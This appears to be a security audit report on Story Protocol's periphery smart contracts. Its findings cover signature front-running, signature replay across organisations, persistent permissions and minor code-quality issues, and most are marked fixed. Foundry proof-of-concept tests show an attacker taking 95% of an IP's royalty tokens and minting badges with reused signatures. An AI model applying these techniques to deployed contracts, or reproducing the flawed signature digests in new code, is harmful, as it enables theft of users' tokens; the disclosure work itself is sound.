Proof-of-Creativity Protocol - Periphery Contracts - Story

In order to distribute the Royalty Tokens of a determined IP, the _distributeRoyaltyTokens() internal function from the RoyaltyTokenDistributionWorkflows contract is called. This function is called from the following functions:

• mintAndRegisterIpAndAttachPILTermsAndDistributeRoyaltyTokens()

• mintAndRegisterIpAndMakeDerivativeAndDistributeRoyaltyTokens()

• distributeRoyaltyTokens()

These functions will require the following parameters related to the token distribution:

• ipId: The target IP

• royaltyShares: The struct containing the token receivers and the amount of tokens

• sigApproveRoyaltyTokens: A valid signature from the IP account owner

Since the only purpose of the signature is to issue a token approval from the Royalty Token Vault to the RoyaltyTokenDistributionWorkflows contract, any legitimate call to any of the previously listed functions could trivially be front-run by any user to issue a valid token approval and arbitrarily distribute the Royalty Tokens, similarly to what was described in Workflow permission setting calls are vulnerable to Front-Running attacks vulnerability.

The following PoC depicts how a legitimate signature usage can be frontrun, setting a valid approval that can be used to steal any IP's Royalty Tokens:

    function test_frontrunRoyaltyTokenDistribution() public {
        uint256 tokenId = mockNft.mint(u.alice);
        address expectedIpId = ipAssetRegistry.ipId(block.chainid, address(mockNft), tokenId);

        uint256 deadline = block.timestamp + 1000;

        (bytes memory signatureMetadataAndAttachAndConfig, , ) = _getSetBatchPermissionSigForPeriphery({
            ipId: expectedIpId,
            permissionList: _getMetadataAndAttachTermsAndConfigPermissionList(
                expectedIpId,
                address(royaltyTokenDistributionWorkflows)
            ),
            deadline: deadline,
            state: bytes32(0),
            signerSk: sk.alice
        });

        // register IP, attach PIL terms, and deploy royalty vault
        vm.startPrank(u.alice);
        (address ipId, uint256[] memory licenseTermsIds, address ipRoyaltyVault) = royaltyTokenDistributionWorkflows
            .registerIpAndAttachPILTermsAndDeployRoyaltyVault({
                nftContract: address(mockNft),
                tokenId: tokenId,
                ipMetadata: ipMetadataDefault,
                licenseTermsData: commRemixTermsData,
                sigMetadataAndAttachAndConfig: WorkflowStructs.SignatureData({
                    signer: u.alice,
                    deadline: deadline,
                    signature: signatureMetadataAndAttachAndConfig
                })
            });
        vm.stopPrank();

        (bytes memory signatureApproveRoyaltyTokens, ) = _getSigForExecuteWithSig({
            ipId: ipId,
            to: ipRoyaltyVault,
            deadline: deadline,
            state: IIPAccount(payable(ipId)).state(),
            data: abi.encodeWithSelector(
                IERC20.approve.selector,
                address(royaltyTokenDistributionWorkflows),
                95_000_000 // 95%
            ),
            signerSk: sk.alice
        });

        // This first legitimate transaction is frontrun by the second transaction, using Alice's signature

        // vm.startPrank(u.alice);
        // // distribute royalty tokens
        // royaltyTokenDistributionWorkflows.distributeRoyaltyTokens({
        //     ipId: ipId,
        //     royaltyShares: royaltyShares,
        //     sigApproveRoyaltyTokens: WorkflowStructs.SignatureData({
        //         signer: u.alice,
        //         deadline: deadline,
        //         signature: signatureApproveRoyaltyTokens
        //     })
        // });
        // vm.stopPrank();


        // On this malicious transaction, the malicious actor is using Alice's signature to approve the royalty tokens
        // for themselves, and then distributing the tokens to themselves.

        maliciousRoyaltyShares.push(
            WorkflowStructs.RoyaltyShare({
                recipient: u.dan,
                percentage: 95_000_000 // 95%
            })
        );

        vm.startPrank(u.dan);
        // distribute royalty tokens
        royaltyTokenDistributionWorkflows.distributeRoyaltyTokens({
            ipId: ipId,
            royaltyShares: maliciousRoyaltyShares,
            sigApproveRoyaltyTokens: WorkflowStructs.SignatureData({
                signer: u.alice,
                deadline: deadline,
                signature: signatureApproveRoyaltyTokens
            })
        });
        vm.stopPrank();

        // Assert that the malicious actor received the tokens
        address royaltyVault = royaltyModule.ipRoyaltyVaults(ipId);
        assertEq(IERC20(royaltyVault).balanceOf(u.dan), 95_000_000);
    }

The signature used to call _distributeRoyaltyTokens() should include the royaltyShares() parameter in the signature digest in order to prevent arbitrary token distributions if a valid signature is used.

SOLVED: The Story team restricted the calls to the affected functions to only the signature signer:

        if (msg.sender != sigMetadataAndRegister.signer)

            revert Errors.DerivativeWorkflows__CallerNotSigner(msg.sender, sigMetadataAndRegister.signer);

By using the OrgStoryNFTFactory contract, any organization can mint a new OrgNFT token and deploy a new StoryBadgeNFT contract (or the preferred template) via Beacon Proxy. On these StoryBadgeNFT contracts, end users can mint a badge NFT if they provide a valid signature that has been signed by the signer address supplied within the storyftInitParams used to call the deployOrgStoryNft() function.

However, it has been noted that the signature digest only includes the msg.sender address, which will cause that any valid signature can be reused across organizations sharing the same signer:

        // The given signature must be valid
        bytes32 digest = keccak256(abi.encodePacked(msg.sender)).toEthSignedMessageHash();
        if (!SignatureChecker.isValidSignatureNow($.signer, digest, signature))
            revert StoryBadgeNFT__InvalidSignature();

This is likely to happen in organizations managing multiple IPs, such as different NFT collections owned by a same organization. This vulnerability allows for a signature replay attack across different organizations that share the same signer. A user with a valid signature for one organization can reuse that signature to mint badges in other organizations, potentially leading to unauthorized badge minting and undermining the integrity of the badge issuance process.

In order to reproduce this issue, consider using the following Foundry test case:

• PoC Code:

    function test_StoryBadgeNFT_mint_AcrossOrgs_signatureReplay() public {
        // First org deployment by Carl, representing BAYC
        bytes memory signature1 = _signAddress(orgStoryNftFactorySignerSk, u.carl);
        vm.startPrank(u.carl);
        (,,,address storyNft1) = orgStoryNftFactory.deployOrgStoryNft({
            orgStoryNftTemplate: address(defaultOrgStoryNftTemplate),
            orgNftRecipient: u.carl,
            orgName: "Carl's First Org",
            orgIpMetadata: ipMetadataDefault,
            signature: signature1,
            storyNftInitParams: storyNftInitParams // Carl will be the signer for this org
        });
        vm.stopPrank();

        // Second org deployment by Alice, representing MAYC
        bytes memory signature2 = _signAddress(orgStoryNftFactorySignerSk, u.alice);
        vm.startPrank(u.alice);
        (,,,address storyNft2) = orgStoryNftFactory.deployOrgStoryNft({
            orgStoryNftTemplate: address(defaultOrgStoryNftTemplate),
            orgNftRecipient: u.carl,
            orgName: "Carl's Second Org",
            orgIpMetadata: ipMetadataDefault,
            signature: signature2,
            storyNftInitParams: storyNftInitParams // Carl will be the signer for this org too
        });
        vm.stopPrank();

        // Generate signature for Bob to mint badges
        bytes memory bobSignature = _signAddress(sk.carl, u.bob); // Using Carl's key as he's the signer for both orgs

        // Bob mints a badge from first org
        vm.startPrank(u.bob);
        (uint256 tokenId1, address ipId1) = IStoryBadgeNFT(storyNft1).mint(u.bob, bobSignature);
        assertEq(IStoryBadgeNFT(storyNft1).ownerOf(tokenId1), u.bob);
        
        // Bob can reuse same signature to mint from second org
        (uint256 tokenId2, address ipId2) = IStoryBadgeNFT(storyNft2).mint(u.bob, bobSignature);
        assertEq(IStoryBadgeNFT(storyNft2).ownerOf(tokenId2), u.bob);
        vm.stopPrank();

        // Verify Bob has one token from each org
        assertEq(IStoryBadgeNFT(storyNft1).balanceOf(u.bob), 1);
        assertEq(IStoryBadgeNFT(storyNft2).balanceOf(u.bob), 1);
    }

It is recommended to include organization context in the signature: Modify the signature generation and verification process to include additional context, such as the StoryNFT contract address. This ensures that the signature is only valid within the intended organization context.

SOLVED: The Story team included the StoryNFT contract address in the signature digest.

The StoryBadgeNFT contract allows users to mint a badge NFT by providing a valid signature. The current implementation uses the usedSignatures mapping to track which signatures have been used, ensuring that each msg.sender can mint only one token. However, the signature validation process relies on a signer address, which can be updated by the contract owner using the setSigner() function.

The digest used for signature verification is generated using only the msg.sender address. This means that if the signer address is changed, a new signature from the new signer would allow the same msg.sender to mint another token. This effectively shifts the responsibility of preventing duplicate mints to the contract owner, who must ensure not to issue new signatures to the same address or this invariant would be broken.

The ability to change the signer address introduces a potential vulnerability where the same msg.sender could mint multiple tokens if new signatures are issued by a different signer. This breaks the intended invariant that each msg.sender should only be able to mint one token, potentially leading to unexpected interactions that might affect the protocol’s intended behavior.

A similar behavior has been observed in the OrgStoryNFTFactory contract’s _validateSignature() function.

In order to reproduce this issue, consider using the following Foundry test case:

• PoC Code:

    function test_StoryBadgeNFT_mint_AfterSignerChange() public {
        bytes memory signature1 = _signAddress(rootOrgStoryNftSignerSk, u.carl);
        
        // First mint with original signer
        vm.startPrank(u.carl);
        (uint256 tokenId1, address ipId1) = rootOrgStoryNft.mint(u.carl, signature1);
        
        // Verify first mint
        assertEq(rootOrgStoryNft.ownerOf(tokenId1), u.carl);
        assertTrue(ipAssetRegistry.isRegistered(ipId1));
        assertEq(rootOrgStoryNft.balanceOf(u.carl), 1);
        vm.stopPrank();

        // Change signer
        vm.prank(rootOrgStoryNftOwner);
        rootOrgStoryNft.setSigner(u.bob);

        // Generate new signature with new signer
        bytes memory signature2 = _signAddress(sk.bob, u.carl);

        // Second mint with new signer
        vm.startPrank(u.carl);
        (uint256 tokenId2, address ipId2) = rootOrgStoryNft.mint(u.carl, signature2);
        
        // Verify second mint
        assertEq(rootOrgStoryNft.ownerOf(tokenId2), u.carl);
        assertTrue(ipAssetRegistry.isRegistered(ipId2));
        assertEq(rootOrgStoryNft.balanceOf(u.carl), 2);
        vm.stopPrank();
    }

To maintain the invariant that each msg.sender can mint only one token, regardless of changes to the signer, it is recommended to explicitly enforce it, which can be achieved via different methods such as:

• Enforce a maximum balanceOf() of 1 per each msg.address

• Instead of tracking the used signatures, track the msg.sender that already minted a token.

SOLVED: The Story team addressed this issue by performing a balance check of the potential token recipient:

        if (ORG_NFT.balanceOf(orgNftRecipient) > 0)
            revert OrgStoryNFTFactory__OrgAlreadyDeployed(orgName, $.deployedOrgStoryNftsByOrgName[orgName]);

        // The recipient must not already have a badge
        if (balanceOf(recipient) > 0) revert StoryBadgeNFT__RecipientAlreadyHasBadge(recipient);

As described in the Workflow calls are vulnerable to Front-Running attacks finding, multiple functions from the Workflows contracts use the setBatchPermissionFor() and setPermissionForModule() functions to interact with the relevant IPAccounts. When these functions are called, the calling Workflow contract will be whitelisted in the AccessController contract for calling a certain function on that IPAccount.

However, after the logic of the Workflow function has been executed, the whitelisting will remain applied unless it is manually revoked by the legitimate owner of the IPAccount on a separate transaction.

These kinds of open permissions pose multiple security risks and are considered a bad practice. In the eventuality of a contract takeover or a legitimate contract upgrade that implements logic allowing additional calls to the IPAccounts, it would allow anyone to openly interact with any IPAccount that the Workflow contract has called before without needing any signature since the whitelisting would still be active.

Reviewing the Workflow contracts logic flow is recommended, since the current one requires each Workflow contract to be whitelisted to perform a certain action on each IPAccount , but this whitelisting remains after the function is finalized. Leaving open permissions could pose a high security risk if the Workflow contract gets compromised or receives an upgrade containing new functionalities.

Ideally, the Workflow contracts should use signatures to strictly perform a certain atomic action, avoiding leaving any open permissions.

SOLVED: The Story team replaced the previous permanent permissions with transient permissions that now expire after each use instead of persisting unless manually revoked.

The SPGNFT.sol contract uses the _mint() function rather than the more robust _safeMint() function to mint the collection NFT to the destination user. The _safeMint() function includes an essential safety mechanism that verifies a recipient contract’s capability to receive and manage ERC-721 tokens by calling the onERC721Received method. This check ensures the recipient implements the ERC721Receiver interface, reducing the risk of tokens being sent to incompatible contracts:

        _mint(to, tokenId);

Using _mint() bypasses this safeguard and can result in scenarios where tokens are irretrievably locked in contracts that do not support ERC-721 token reception. Such situations pose a risk of permanent asset loss, as neither the tokens nor their associated value can be recovered.

The ERC721Upgradeable module itself warns against the use of _mint():

/**
    * @dev Mints `tokenId` and transfers it to `to`.
    *
    * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
    *
    * Requirements:
    *
    * - `tokenId` must not exist.
    * - `to` cannot be the zero address.
    *
    * Emits a {Transfer} event.
    */
function _mint(address to, uint256 tokenId) internal virtual {

In contrast, the _safeMint() function includes the following additional safety check:

function _safeMint(
    address to,
    uint256 tokenId,
    bytes memory data
) internal virtual {
    _mint(to, tokenId);
    require(
        _checkOnERC721Received(address(0), to, tokenId, data),
        "ERC721: transfer to non ERC721Receiver implementer"
    );
}

This check ensures that the receiving contract correctly implements the onERC721Received interface, returning the expected bytes4 selector. Without this validation, tokens sent to non-compliant contracts may become permanently inaccessible.

Replace all instances of _mint() with _safeMint(). The _safeMint() function ensures recipient compliance with ERC-721 standards, safeguarding against the risk of asset lock-in.

SOLVED: The Story team addressed this issue by using _safeMint() instead of _mint().

The setTotalLicenseTokenLimit() function in the TotalLicenseTokenLimitHook contract allows setting a total license token limit for a specific license. The function includes a check that reverts if the new limit is lower than the current total supply of license tokens. This behavior is intended to prevent setting a limit that is less than the existing supply, which could lead to inconsistencies or violations of the intended token limit.

However, this logic introduces an inconsistency: once a limit is set and the total supply exceeds zero, it becomes impossible to remove the limit by setting it to zero (which is intended to represent "no limit"). This is because the function will revert if the limit is set to zero and the total supply is greater than zero. Conversely, setting the limit to a very high value is allowed, even if it effectively removes the limit, which is inconsistent with the restriction on setting it to zero.

It is recommended the following:

1. Allow Zero Limit with Conditions: Modify the function to allow setting the limit to zero, even if the total supply is greater than zero. This can be achieved by adding a specific condition that permits setting the limit to zero, regardless of the current total supply. This change would align the behavior of setting a zero limit with the intention of representing "no limit."

2. Explicit Limit Removal Function: Introduce a separate function specifically for removing the limit, which sets the limit to zero. This function could include additional checks or require specific permissions to ensure that the removal of the limit is intentional and authorized.

3. Documentation and Warnings: Clearly document the behavior of the setTotalLicenseTokenLimit function, including the implications of setting the limit to zero or a high value. Provide warnings to users about the potential for inconsistent behavior and the need to carefully consider the implications of changing the limit.

4. User Interface Considerations: If this contract is part of a larger system with a user interface, ensure that the UI provides clear guidance and warnings when users attempt to set the limit to zero or a very high value. This can help prevent accidental misuse of the function.

By implementing these mitigations, the contract can provide a more consistent and intuitive experience for users, while maintaining the intended functionality of the license token limit.

SOLVED: The Story team addressed this issue by allowing a zero limit, as recommended in point 1.

The setMintFeeRecipient() function in the SPGNFT contract is designed to allow the current mint fee recipient to update the address to a new recipient. However, this function is vulnerable if the _mintFeeRecipient is set to a contract address that cannot call this function, such as a treasury smart contract.

If the _mintFeeRecipient is set to a contract address that does not have the capability to call this function (e.g., a contract without the necessary logic to execute external calls), the function becomes effectively unusable. This is because the contract itself cannot initiate a call to setMintFeeRecipient(), and thus, the recipient address cannot be updated:

    /// @notice Sets the recipient of mint fees.
    /// @dev Only callable by the fee recipient.
    /// @param newFeeRecipient The new fee recipient.
    function setMintFeeRecipient(address newFeeRecipient) external {
        if (msg.sender != _getSPGNFTStorage()._mintFeeRecipient) {
            revert Errors.SPGNFT__CallerNotFeeRecipient();
        }
        _getSPGNFTStorage()._mintFeeRecipient = newFeeRecipient;
    }

The inability to update the fee recipient could result in a loss of control over the distribution of mint fees, potentially affecting the financial operations of the NFT collection.

It is recommended to also allow the ADMIN user to call setMintFeeRecipient() in order to prevent functionality lockups if the current _mintFeeRecipient address cannot call setMintFeeRecipient().

SOLVED: The Story team addressed this issue by allowing SPGNFTLib.ADMIN_ROLE to call setMintFeeRecipient() too.

Unsafe ERC20 operations that don't use OpenZeppelin's SafeERC20 library have been detected. These operations may fail silently with non-compliant tokens that return false instead of reverting on failure, or tokens like USDT that require resetting allowances to zero before updating them.

• In SPGNFT.sol, the unsafe transferFrom() is used:

        if ($._mintFeeToken != address(0) && $._mintFee > 0) {
            IERC20($._mintFeeToken).transferFrom(payer, address(this), $._mintFee);
        }

While the impact is mitigated since most integrated tokens are expected to be compliant, this remains a concern for future integrations and best practices.

Consider using the OpenZeppelin's SafeERC20 library or Solmate's SafeTransferLib consistently throughout the codebase.

SOLVED: The Story team now uses SafeERC20 for every ERC20 operation.

To mitigate the risk of reentrancy attacks, a modifier named nonReentrant is commonly used. This modifier acts as a lock, ensuring that a function cannot be called recursively while it is still in execution. A typical implementation of the nonReentrant modifier locks the function at the beginning and unlocks it at the end. However, it is vital to place the nonReentrant modifier before all other modifiers in a function. Placing it first ensures that all other modifiers cannot bypass the reentrancy protection. In the current implementation, some functions use other modifiers before nonReentrant, which may compromise the protection it provides.

During the audit it was identified that the following functions does not use nonReentrant as a first modifier:

• TokenizerModule.sol

  • tokenize()

It is recommended to follow the best practice of placing the nonReentrant modifier before all other modifiers. By doing so, one can reduce the risk of reentrancy-related vulnerabilities. This simple yet effective approach can help enhance the security posture of any Solidity smart contract.

SOLVED: The Story team addressed this issue by placing the nonReentrant modifier first.

It has been noted that the AccessControlUpgradeable contract, inherited in SPGNFT is not initialized. Although both __AccessControl_init() and __AccessControl_init_unchained() functions are empty, so they do not have to be necessarily called, this could change in the future. Calling the initialization methods of all parent contracts is considered a good practice.

Not following good practices could leave any relevant contracts uninitialized, which could potentially lead to unexpected behavior or security vulnerabilities.

In a similar fashion, the MulticallUpgradeable contract is not initialized in any of the workflow contracts.

It is recommended to call the initialization methods of every parent contract.

SOLVED: The Story team now initializes every parent contract.

The comment for the mint() function in the SPGNFT contract inaccurately states that the function is "Only callable by the minter role." However, this is not entirely correct. The function can also be called by anyone if the _publicMinting flag is set to true. This means that the function is accessible to the general public under certain conditions, not just restricted to those with the minter role.

Having function comments or documentation that do not accurately describe the conditions under which the function can be called could lead developers and users to make false assumptions that might endanger the protocol's security.

It is recommended that the comments and documentation accurately describe the code functionality.

SOLVED: The Story team fixed the comments.

Multiple instances of unnecessary comments have been detected:

• In the SPGNFT.sol contract, there is a comment section labeled as Upgrade which is unnecessary. This comment is a remnant from when the contract might have been intended to use the UUPS (Universal Upgradeable Proxy Standard) pattern. However, the current design of the contract indicates that it will utilize the beacon proxy pattern, which does not require upgrade logic to be implemented within the implementation contract itself.

• A similar instance has been detected in the CachableNFT.sol contract (Lines 3 and 4), in which comments from previous versions of the contract remained.

• In the MetadataHelper.sol contract, the comments in line 38 and 39 are duplicated.

The presence of these comments can lead to confusion for developers and users reviewing the contract, since it suggests that there might be upgrade logic within the contract, which is not the case. This could result in misunderstandings about the contract's architecture and its upgradeability mechanism, potentially leading to incorrect assumptions about the contract's functionality and security.

Remove any unnecessary, outdated, or inaccurate comments from the scoped contracts. Removing these comments ensures that the contract documentation accurately reflects its design and functionality, reducing potential confusion for future developers and users.

SOLVED: The Story team fixed the comments.

Typos in comments, while seemingly minor, can hinder code readability and reduce the overall quality and professionalism of a Solidity smart contract. Comments are essential for providing context and explanations that help developers, auditors, and contributors understand the purpose and functionality of the code. Typos can create confusion, lead to misunderstandings, or make the codebase appear unprofessional and poorly maintained. This issue becomes especially significant in collaborative environments or when onboarding new developers to a project. The following comments with typographical errors were found in the scoped contracts:

• CachableNFT.sol:

// cache contrat has three modes

The word contrat above should be spelled as contract instead.

• StoryBadgeNFT.sol:

    /// @param signature The signature from the whitelist signer. This signautre is genreated by having the whitelist

The words signautre and genreated above should be spelled as signature and generated , respectively.

To maintain clarity and trustworthiness, it is essential to rectify any typographical errors present within the contracts. Correcting such errors minimizes the likelihood of confusion and reinforces confidence in the accuracy and integrity of the documentation.

SOLVED: The Story team fixed the comments.

Throughout the code in scope, there are several instances of unoptimized for loop declarations that may incur in higher gas costs than necessary.

Optimize the for loop declarations to reduce gas costs. Best practices include:

• The non-redundant initialization of the iterator with a default value (declaring simply i is equivalent to i = 0 but more gas efficient),

• The use of the pre-increment operator (inside an unchecked block if using Solidity >=0.8.0 and <= 0.8.21 :unchecked {++i}, or simply ++i if compiling with Solidity >=0.8.22).

Additionally, when reading from storage variables, it is recommended to reduce gas costs significantly by caching the array to read locally and iterate over it to avoid reading from storage on every iteration. Moreover, if there are several loops in the same function, the i variable can be re-used, to be able to set the value from non-zero to zero and reduce gas costs without additional variable declaration. For example:

uint256[] memory arrayInMemory = arrayInStorage;

uint256 i;
for (; i < arrayInMemory.length ;) {
  // code logic
  unchecked { ++i; }
}

delete i;

uint256[] memory arrayInMemory2 = arrayInStorage2;

for (; i < arrayInMemory2.length ;) {
  // code logic
  unchecked { ++i; }
}

ACKNOWLEDGED: The Story team acknowledged this finding.

The setBatchPermissionForModules() function in the PermissionHelper library is designed to set permissions for multiple modules in a batch operation. Two of the input parameters are the modules and selectors arrays. The function assumes that these arrays have a 1:1 mapping, meaning they should be of equal length. However, there is no explicit check to enforce this assumption, which can lead to unexpected behaviors if the arrays have different lengths.

If the modules and selectors arrays have different lengths, several issues may occur:

1. Explicit failure: If the selectors array is shorter than the modules array, the function will attempt to access out-of-bounds elements in the selectors array, which will cause a revert due to Solidity's array bounds checking.

2. Silent failure: If the modules array is shorter than the selectors array, the function will not process all selectors, potentially leaving some permissions unset. This could lead to a situation where not all intended permissions are granted, which might not be immediately obvious to the caller.

3. Security Risks: Incomplete or incorrect permission settings can lead to security vulnerabilities, where certain modules might not have the necessary permissions to execute their intended functions, or unintended modules might receive permissions due to misalignment.

In addition, another instance of this same issue has been detected in the aggregateMintFees() function from the LicensingHelper library.

To mitigate this vulnerability, it is recommended to add a check at the beginning of the function to ensure that the modules and selectors arrays have the same length. If they do not, the function should revert with an appropriate error message. This will prevent any unexpected behavior due to mismatched array lengths.

SOLVED: The Story team addressed this issue by explicitly checking the length of both arrays.

The CachableNFT contract currently use floating pragma versions ^0.8.26 which means that the code can be compiled by any compiler version that is greater than or equal to 0.8.26, and less than 0.9.0.

However, it is recommended that contracts should be deployed with the same compiler version and flags used during development and testing. Locking the pragma helps to ensure that contracts do not accidentally get deployed using another pragma. For example, an outdated pragma version might introduce bugs that affect the contract system negatively.

Additionally, from Solidity versions 0.8.20 through 0.8.24, the default target EVM version is set to Shanghai, which results in the generation of bytecode that includes PUSH0 opcodes. Starting with version 0.8.25, the default EVM version shifts to Cancun, introducing new opcodes for transient storage, TSTORE and TLOAD.

In this aspect, it is crucial to select the appropriate EVM version when it's intended to deploy the contracts on networks other than the Ethereum mainnet, which may not support these opcodes. Failure to do so could lead to unsuccessful contract deployments or transaction execution issues.

Lock the pragma version to the same version used during development and testing. Additionally, make sure to specify the target EVM version when using Solidity versions from 0.8.20 and above if deploying to chains that may not support newly introduced opcodes.

SOLVED: The Story team fixed the mentioned floating pragma.